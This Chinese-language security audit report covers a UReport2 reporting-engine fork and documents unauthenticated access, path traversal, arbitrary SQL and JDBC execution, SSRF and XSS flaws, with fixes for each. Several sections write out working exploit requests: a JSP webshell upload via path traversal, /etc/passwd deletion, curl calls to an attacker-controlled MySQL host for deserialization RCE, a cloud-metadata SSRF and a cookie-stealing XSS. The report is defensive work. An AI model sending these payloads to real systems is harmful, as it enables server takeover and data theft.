UReport2安全审计报告

28次阅读
没有评论

UReport2 报表引擎安全审计报告

审计对象:/ureport(UReport2 2.0.6 fork,基于 Apache-2.0 的纯 Java 中式报表引擎)
审计日期:2026-08-10
审计性质:防御性安全审计(只读代码,未对真实环境发起任何攻击验证)
结论一句话:报表服务一旦可被访问,等同把「数据库任意读写 + 服务器任意文件读写 + SSRF + 在线设计器」全部裸露。


1. 审计概述

项 说明
项目 UReport2 报表引擎(Spring 架构,纯 Java,浏览器拖拽式报表设计器)
Fork 来源 github.com/youseries/ureport
本地版本 2.0.6(含本地二次开发,如查询表单参数绑定改为直接输入、PDF 导出优化等)
审计重点 反序列化 / 命令执行 / RCE / SQL 注入 / 未授权访问 / XSS / SSRF / 越权
审计方式 静态代码审计,逐条核实从 HTTP 入口到危险 sink 的调用链

依赖清单(ureport2-core/pom.xml、ureport2-console/pom.xml)

组件 版本 已知风险
commons-fileupload 1.3.2 CVE-2016-1000031,文件上传无大小限制
poi-ooxml / poi-scratchpad 3.16 OOXML 解析 XXE(3.17 前)
spring-web / spring-jdbc 4.3.11.RELEASE 严重过旧,多个已知 CVE
velocity 1.7 CVE-2020-13936 等
jackson-mapper-asl 1.9.11 极老,XXE / 多态反序列化风险
commons-beanutils-core 1.8.3 反序列化 gadget 组件
commons-io 2.5 版本过旧
itextpdf 5.5.13 过旧
dom4j 1.6.1 XXE 风险

2. 审计范围

模块结构

模块 作用
ureport2-core 核心引擎:报表模型、表达式解析、SQL 数据集、图表、导出、缓存
ureport2-console Web 控制台:UReportServlet(挂 /ureport/*)+ 设计器/导出/数据源 ServletAction
ureport2-js / ureport2-font / ureport2-parent 前端资源 / PDF 字体 / Maven 父 POM

Web 入口(UReportServlet 下所有 Action,均无鉴权)

URL Action 类 关键能力
/ureport/designer DesignerServletAction 报表模板 保存/加载/删除、表达式校验
/ureport/datasource DatasourceServletAction 任意 SQL 执行、任意 JDBC 连接、任意类加载
/ureport/preview HtmlPreviewServletAction 报表预览、参数回显
/ureport/pdf /word /excel /excel97 导出 Action 按 _u 参数加载模板导出
/ureport/import ImportExcelServletAction Excel 上传解析
/ureport/res ResourceLoaderServletAction classpath 资源读取
/ureport/chart /ureport/image 图表/图片 图表数据、图片

Action 内的方法路由:URL 中 Action 路径后的段即为方法名,反射调用该 Action 的任意 public 方法(BaseServletAction.retriveMethod/invokeMethod:85-104)。


3. 漏洞详情

3.1 🔴 未授权访问(全部接口无鉴权)【所有漏洞的前提】

位置:ureport2-console/.../console/UReportServlet.java:61-96

@Override
protected void service(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
    ...
    ServletAction targetHandler = actionMap.get(targetUrl);
    if (targetHandler == null) { ... }
    RequestHolder.setRequest(req);
    targetHandler.execute(req, resp);      // 无任何认证/授权/会话校验
    ...
}

问题:UReportServlet 对请求不做任何鉴权。仓库内也没有 Spring Security / Filter / 拦截器配置。所有设计器、数据源、导入、导出接口对任何可访问应用的人开放。越权/未授权访问为系统性缺陷,是 3.2~3.7 全部漏洞的放大器。

利用:直接访问任意接口即可,无需任何凭证。

修复:

  • 在网关或应用层对 /ureport/* 增加强鉴权(统一登录 + RBAC),设计器/数据源接口(/designer、/datasource、/import、/searchFormDesigner)仅允许管理员访问;
  • 报表预览/导出接口(/preview、/pdf 等)要求登录且校验模板的可见范围;
  • 不要直接对外暴露 /ureport/*。

3.2 🔴 任意文件写 / 任意文件删除(路径穿越)→ 可升级 RCE

位置:

  • ureport2-console/.../console/designer/DesignerServletAction.java:146-186(HTTP 入口)
  • ureport2-core/.../provider/report/file/FileReportProvider.java:64-120(sink)
// DesignerServletAction.java:165 —— HTTP 入口,file 参数双 URL-decode 后直接透传
public void saveReportFile(HttpServletRequest req, HttpServletResponse resp) {
    String file=req.getParameter("file");
    file=ReportUtils.decodeFileName(file);          // 双 URLDecoder.decode
    String content=req.getParameter("content");
    content=decodeContent(content);
    ...
    targetReportProvider.saveReport(file, content); // 先写文件
    // 之后才做 XML 解析 —— 即使内容不是合法报表 XML,文件已落盘
}
// FileReportProvider.java:99 —— sink,仅拼接路径,无任何 ../ 校验
public void saveReport(String file,String content) {
    if(file.startsWith(prefix)){ file=file.substring(prefix.length()); }
    String fullPath=fileStoreDir+"/"+file;          // 路径穿越点
    FileOutputStream outStream=new FileOutputStream(new File(fullPath));
    IOUtils.write(content, outStream,"utf-8");
}
// FileReportProvider.java:64 —— 任意文件删除
public void deleteReport(String file) {
    String fullPath=fileStoreDir+"/"+file;
    File f=new File(fullPath);
    if(f.exists()){ f.delete(); }
}

问题:file 参数(来自请求,双 URL-decode)未做任何规范化/白名单校验,直接拼 fileStoreDir + "/" + file。默认 fileStoreDir 在 web 根目录下(FileReportProvider.setApplicationContext:136-151 使用 servletContext.getRealPath("/")),../ 可直接逃逸出报表目录。写文件在 XML 解析之前执行,因此可写入任意内容。

利用(HTTP 请求包):

# ① 任意文件写 —— 写入 JSP webshell 实现 RCE(若 web 目录可写且可执行 JSP)
POST /ureport/designer/saveReportFile HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded

file=file:../../../../../../webapps/ROOT/shell.jsp&content=%3C%25Runtime.getRuntime().exec(request.getParameter(%22c%22));%25%3E

# ② 任意文件删除 —— DoS / 破坏
GET /ureport/designer/deleteReportFile?file=file:../../../../../../etc/passwd HTTP/1.1

# ③ 任意文件读(内容须可被解析为报表 XML 才完整回显,可用于读报表文件)
GET /ureport/designer/loadReport?file=file:../../otherdir/secret.ureport.xml HTTP/1.1

利用(脚本思路):遍历 ../../../../../../ 逐级确认可写目录;若能写入并访问 JSP,则直接 shell.jsp?c=id 命令执行。

修复:

  • saveReport/deleteReport/loadReport 中先 new File(fileStoreDir+"/"+file).getCanonicalPath(),校验其必须以 fileStoreDir 的 canonical 路径为前缀,否则拒绝;
  • 对 file 做白名单(仅允许报表目录内的 .ureport.xml);
  • fileStoreDir 移出 web 可执行目录,禁止与 web root 有相对关系。

3.3 🔴 任意 SQL 执行 + 任意数据库数据读取(数据库沦陷)

位置:ureport2-console/.../console/designer/DatasourceServletAction.java:169-270

// previewData —— 直接执行攻击者 SQL 并返回最多 500 行结果
public void previewData(HttpServletRequest req, HttpServletResponse resp) {
    String sql=req.getParameter("sql");             // 完全可控
    ...
    conn=buildConnection(req);                       // buildin 业务库 或 任意 JDBC
    list=jdbc.queryForList(sql, map);                // 任意 SQL
    ...
    result.setData(ls);                              // 数据直接回显给攻击者
    writeObjectToJson(resp, result);
}

// buildFields —— 同样执行任意 SQL
public void buildFields(...) {
    String sql=req.getParameter("sql");
    conn=buildConnection(req);
    ... ps.executeQuery(); ...
}

// buildConnection —— 内置数据源 或 攻击者完全控制的 JDBC 连接
private Connection buildConnection(HttpServletRequest req) throws Exception{
    String type=req.getParameter("type");
    if(type.equals("jdbc")){
        String username=req.getParameter("username");
        String password=req.getParameter("password");
        String driver=req.getParameter("driver");
        String url=req.getParameter("url");
        Class.forName(driver);                        // 任意类加载
        return DriverManager.getConnection(url, username, password);
    }else{
        return Utils.getBuildinConnection(req.getParameter("name"));
    }
}

问题:设计器数据集接口未校验 SQL 来源。攻击者可对业务内置数据源执行任意 SQL 并直接读取返回数据(用户数据/应用数据/全库数据),也可指定任意 JDBC 连接。无任何白名单/权限校验。

利用(HTTP 请求包):

# ① 对内置业务数据源执行任意 SQL(type=buildin 使用应用配置的数据源)
POST /ureport/datasource/previewData HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded

type=buildin&name=默认数据源&sql=select * from sys_user

# ② 列举内置数据源
GET /ureport/datasource/loadBuildinDatasources HTTP/1.1

# ③ 对任意 JDBC 目标执行(SSRF/内网数据库)
POST /ureport/datasource/previewData HTTP/1.1
Content-Type: application/x-www-form-urlencoded

type=jdbc&driver=com.mysql.jdbc.Driver&url=jdbc:mysql://10.0.0.5:3306/app&username=root&password=root&sql=select * from user

修复:

  • 对 /datasource/* 所有方法做严格鉴权(仅管理员);
  • 禁止执行任意 SQL:SQL 只能来自服务端持久化的报表模板,previewData/buildFields 必须基于模板数据集解析,不允许直接使用请求参数里的 SQL;
  • 禁止 type=jdbc 的任意 JDBC 连接(删除 testConnection / 任意 url 连接能力),数据库连接统一走配置好的数据源并限制内网访问。

3.4 🔴 任意 JDBC 连接 + 任意类加载(SSRF / MySQL 反序列化 RCE / 信息探测)

位置:DatasourceServletAction.java:122-139, 311-335

// testConnection —— 攻击者完全控制 driver/url/username/password
public void testConnection(...) {
    String driver=req.getParameter("driver");
    String url=req.getParameter("url");
    ...
    Class.forName(driver);                       // ① 任意类加载(默认 init=true,触发静态初始化块)
    conn=DriverManager.getConnection(url, username, password);  // ② 任意 JDBC 连接
}

// buildClass —— 任意类加载 + 属性枚举
public void buildClass(...) {
    String clazz=req.getParameter("clazz");
    Class<?> targetClass=Class.forName(clazz);   // 任意类名
    ... PropertyUtils.getPropertyDescriptors(targetClass) ...  // 反射枚举属性
}

问题:

  1. 任意类加载:Class.forName(clazz) 默认 initialize=true,可加载 classpath 任意类并触发其静态初始化块;
  2. 任意 JDBC 连接:DriverManager.getConnection(url,...) 可连内网任意数据库(SSRF 探活);
  3. 经典 MySQL JDBC 反序列化 RCE:jdbc:mysql://attacker:3306/xx + 恶意服务端响应(autoDeserialize/allowLoadLocalInfile)可触发反序列化 gadget RCE 或任意文件读取。

利用(脚本思路):

# 探测类加载能力
curl "http://target/ureport/datasource/buildClass?clazz=com.sun.rowset.JdbcRowSetImpl"

# 让服务端连接攻击者控制的 MySQL(配合 ysoserial MySQL 攻击链 -> RCE)
curl -X POST "http://target/ureport/datasource/testConnection" \
     -d "driver=com.mysql.jdbc.Driver&url=jdbc:mysql://attacker:3306/test&username=root&password=root"

修复:

  • 删除 testConnection/buildClass,或将其限制为仅管理员可见且 driver 白名单;
  • 数据库连接一律使用预先配置并校验过的数据源,禁止从请求参数构造 JDBC URL;
  • 升级 mysql-connector-java 并禁用 autoDeserialize。

3.5 🟠 SSRF(带响应回显)【fork 新增代码】

位置:

  • ureport2-core/.../provider/image/HttpImageProvider.java:31-41(fork 新增)
  • ureport2-core/.../provider/image/HttpsImageProvider.java:34-35
  • 触发点 ureport2-core/.../build/compute/ImageValueCompute.java:72-95 → ImageUtils.getImageBase64Data
// HttpImageProvider.java:31 —— 报表图片 path 为 http: 即服务端抓取
public InputStream getImage(String path) {
    URL url=new URL(path);
    URLConnection connection=url.openConnection();   // SSRF
    connection.connect();
    return connection.getInputStream();
}
public boolean support(String path) { return path.startsWith("http:"); }

问题:报表模板图片单元格的 path 以 http(s): 开头时,服务端发起请求。由于可写入/导入任意模板(3.2),攻击者构造含恶意图片路径的模板 → 预览/导出触发服务端抓取,且抓取结果被 base64 内联进预览 HTML 回显 → 可读取内网 HTTP 服务/云元数据。

利用(HTTP 请求包):

# 构造模板含图片单元格:<image path="http://169.254.169.254/latest/meta-data/iam/security-credentials/"/>
# 保存后预览,响应 HTML 中即含云元数据内容 base64 内联
POST /ureport/designer/saveReportFile HTTP/1.1
Content-Type: application/x-www-form-urlencoded

file=file:evil.ureport.xml&content=<模板内容(含 http 图片)>
GET /ureport/preview?_u=file:evil.ureport.xml HTTP/1.1

修复:

  • 图片路径解析阶段拦截 http:/https: 协议,或加协议+主机白名单(禁止内网 IP、禁止 metadata 地址 169.254.169.254/100.100.100.200 等);
  • 使用 SSRF 防护组件(DNS 重绑定防护、禁止回环/私网地址);
  • 报表模板的图片 URL 不允许从用户可控输入直接进入。

3.6 🟠 反射型 XSS

位置:

  • ureport2-console/.../console/html/HtmlPreviewServletAction.java:326-342(拼接)
  • ureport2-console/src/main/resources/ureport-html/html-preview.html:78,80,83,85,123(输出)
// HtmlPreviewServletAction.java:326 —— 请求参数 name=value 未转义拼接
private String buildCustomParameters(HttpServletRequest req){
    StringBuilder sb=new StringBuilder();
    Enumeration<?> enumeration=req.getParameterNames();
    ...
    String name=obj.toString();
    String value=req.getParameter(name);
    if(name==null || value==null || (name.startsWith("_") && !name.equals("_n"))){ continue; }
    sb.append(name); sb.append("="); sb.append(value);   // 未做任何 HTML 转义
    return sb.toString();
}
<!-- html-preview.html:78 / :123 —— 未转义输出到 href 与 JS -->
<li><a href="${contextPath}/ureport/preview?_u=${file}&${customParameters}" ...>预览</a></li>
submitSearchForm("${file}","${customParameters}");

问题:Velocity 默认不对 ${} 转义。customParameters 与 _u 参数被原样拼入 href 和 JS 函数参数 → 反射型 XSS(可窃取管理员 Cookie / 钓鱼)。

利用(HTTP 请求包):

GET /ureport/preview?_u=aaa&x=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E HTTP/1.1

修复:

  • 对输出到 HTML 的请求参数做 HTML 实体转义(StringEscapeUtils.escapeHtml4),或 Velocity 配置 #escape / output.encoding 策略;
  • buildCustomParameters 中每个 name/value 都转义;
  • _u/file/_t 等回显参数一律转义。

3.7 🟠 存储型 XSS(链接 URL 未转义)

位置:ureport2-core/.../export/html/HtmlProducer.java:151-220

String linkURL=cell.getLinkUrl();
...
linkURL=data.toString();                          // 链接 URL 可来自数据集数据/表达式结果
...
sb.append("<a href=\""+linkURL+"\" target=\""+target+"\">");   // 未转义直接拼入

问题:单元格链接 URL 来自表达式/数据绑定结果,输出到 href 前未做任何转义。若报表数据字段被攻击者控制(如用户输入存库后作为链接字段),渲染即触发存储型 XSS。

修复:

  • 输出 linkURL 前做 URL/HTML 双重转义,并校验协议白名单(禁止 javascript: 等);
  • target 也需转义。

3.8 🟡 SQL 注入(模板设计层面,${} 内联)

位置:ureport2-core/.../definition/dataset/SqlDatasetDefinition.java:50-76

// SQL 文本中的 ${...} 会被表达式执行结果直接字符串替换进 SQL
Pattern pattern=Pattern.compile("\\$\\{.*?\\}");
Matcher matcher=pattern.matcher(sqlForUse);
while(matcher.find()){
    String substr=matcher.group();
    String sqlExpr=substr.substring(2,substr.length()-1);
    Expression expr=ExpressionUtils.parseExpression(sqlExpr);
    String result=executeSqlExpr(expr, context);   // 表达式结果(可能含请求参数值)
    sqlForUse=sqlForUse.replace(substr, result);   // 字符串拼接进 SQL —— 注入点
}
NamedParameterJdbcTemplate jdbcTemplate=new NamedParameterJdbcTemplate(datasource);
list= jdbcTemplate.queryForList(sqlForUse, pmap);

问题:NamedParameterJdbcTemplate 对 :param 绑定参数是安全的;但 SQL 文本中的 ${expr} 会内联表达式求值结果。若模板 SQL 写成 ${请求参数}(而非 :param),攻击者通过请求参数即可注入 SQL。叠加 3.2/3.3(可写模板 + 任意 SQL 接口),实际数据库已完全可控。

修复:

  • 模板 SQL 中禁止 ${} 内联,统一使用 :param 命名参数绑定;
  • 运行时参数一律经 PreparedStatement 绑定,不做文本替换;
  • 增加 SQL 审计日志。

3.9 🟡 错误信息 XSS + 堆栈信息泄露

位置:UReportServlet.java:82-93、HtmlPreviewServletAction.java:350-359

// UReportServlet.java —— 异常 message 未转义写入响应
String errorMsg = e.getMessage();
...
pw.write(errorMsg);      // 无转义,message 中常含 file 等用户可控参数值
// HtmlPreviewServletAction.java —— 完整堆栈未转义回显(信息泄露)
trace=trace.replaceAll("\n", "<br>");
return trace;

问题:异常信息直接回显,若异常 message 包含用户可控输入(如 file 参数值)则构成反射 XSS;完整堆栈泄露框架/依赖/路径信息。

修复:统一异常处理,回显前 HTML 转义;对外隐藏堆栈详情(生产环境返回通用错误页)。


3.10 🟡 Excel 导入无大小限制 + 旧 POI(XXE / DoS)

位置:ureport2-console/.../importexcel/ImportExcelServletAction.java:50-53

FileItemFactory factory=new DiskFileItemFactory(1000240,new File(tempDir));
ServletFileUpload upload=new ServletFileUpload(factory);
upload.parseRequest(req);   // 未 setSizeMax / setFileSizeMax —— 无大小限制

问题:

  • 未限制上传大小 → 超大文件/zip 炸弹造成内存/磁盘 DoS;
  • POI 3.16(<3.17)解析 .xlsx(OOXML)存在 XXE 风险。

修复:

  • 设置 upload.setFileSizeMax(...) / setSizeMax(...),限制文件类型与扩展名;
  • 升级 POI 到 3.17+ 并开启安全配置。

3.11 🟡 classpath 资源读取

位置:ureport2-console/.../console/res/ResourceLoaderServletAction.java:43-60

String resPath=uri.substring(path.length()+1);
String p="classpath:"+resPath;
InputStream input=applicationContext.getResource(p).getInputStream();  // 读 classpath 任意资源

问题:/ureport/res/* 可读取 classpath 内任意资源。若 application.properties/*.xml 等在 classpath 中且含数据库密码等敏感信息 → 信息泄露。

修复:限制 /ureport/res 仅允许白名单目录(如 ureport-asserts/**)。


3.12 🟢 表达式引擎属性导航(BeanUtils 反射)

位置:ureport2-core/.../Utils.java:161-171

public static Object getProperty(Object obj,String property){
    ...
    return PropertyUtils.getProperty(obj, property);   // commons-beanutils,支持 a.b.c 点号导航
}

问题:表达式属性名支持点号导航(如 class.classLoader),可对报表数据对象做受限反射属性读取。受限于只能读属性(无法带参调方法),直接 RCE 难度高,但属探测/信息泄露面,且 commons-beanutils 1.8.3 本身是反序列化 gadget 组件。

修复:对表达式属性名做黑/白名单;升级 commons-beanutils。


4. 反序列化 / 命令执行专项结论

类别 结论
Java 原生反序列化(ObjectInputStream.readObject) 未发现直接调用点
Jackson 多态反序列化 writeObjectToJson/buildParameters 未启用 defaultTyping,未发现多态 gadget 入口(jackson 1.9.11 极老,仍建议升级)
命令执行 无直接 Runtime.exec;命令执行路径为:① 3.2 任意文件写 JSP webshell → RCE;② 3.4 MySQL JDBC 反序列化 gadget → RCE
表达式引擎 函数调用被限制在固定注册表(ExpressionUtils.getFunctions()),未发现任意静态方法调用;风险集中在 BeanUtils 属性导航(3.12)

5. 修复优先级建议

优先级 事项 对应漏洞
P0 /ureport/* 全部接口接入强鉴权(登录 + RBAC),设计器/数据源仅管理员 3.1(放大全部)
P0 FileReportProvider 路径规范化校验(canonical 前缀白名单),fileStoreDir 移出 web 目录 3.2
P0 收紧 /datasource:禁任意 SQL、禁任意 JDBC 连接、禁 Class.forName 任意类 3.3 / 3.4
P1 图片加载拦截 http(s)/内网地址(SSRF 防护) 3.5
P1 HTML 输出统一转义(参数回显、链接 URL、异常信息) 3.6 / 3.7 / 3.9
P1 模板 SQL 禁止 ${} 内联,统一命名参数绑定 3.8
P2 Excel 导入限大小、升级 POI、升级全部旧依赖 3.10 / 依赖
P2 收紧 /ureport/res classpath 读取白名单 3.11

6. 附录:关键文件索引

文件 说明
ureport2-console/src/main/java/com/bstek/ureport/console/UReportServlet.java 入口,无鉴权
ureport2-console/.../designer/DesignerServletAction.java 模板保存/删除/加载(路径穿越)
ureport2-core/.../provider/report/file/FileReportProvider.java 文件读写 sink
ureport2-console/.../designer/DatasourceServletAction.java 任意 SQL / JDBC / 类加载
ureport2-core/.../provider/image/HttpImageProvider.java SSRF(fork 新增)
ureport2-console/.../html/HtmlPreviewServletAction.java 反射 XSS
ureport2-core/.../export/html/HtmlProducer.java 存储 XSS(链接)
ureport2-core/.../definition/dataset/SqlDatasetDefinition.java SQL ${} 内联注入
ureport2-console/src/main/resources/ureport-html/html-preview.html XSS 输出点
正文完
 0
评论(没有评论)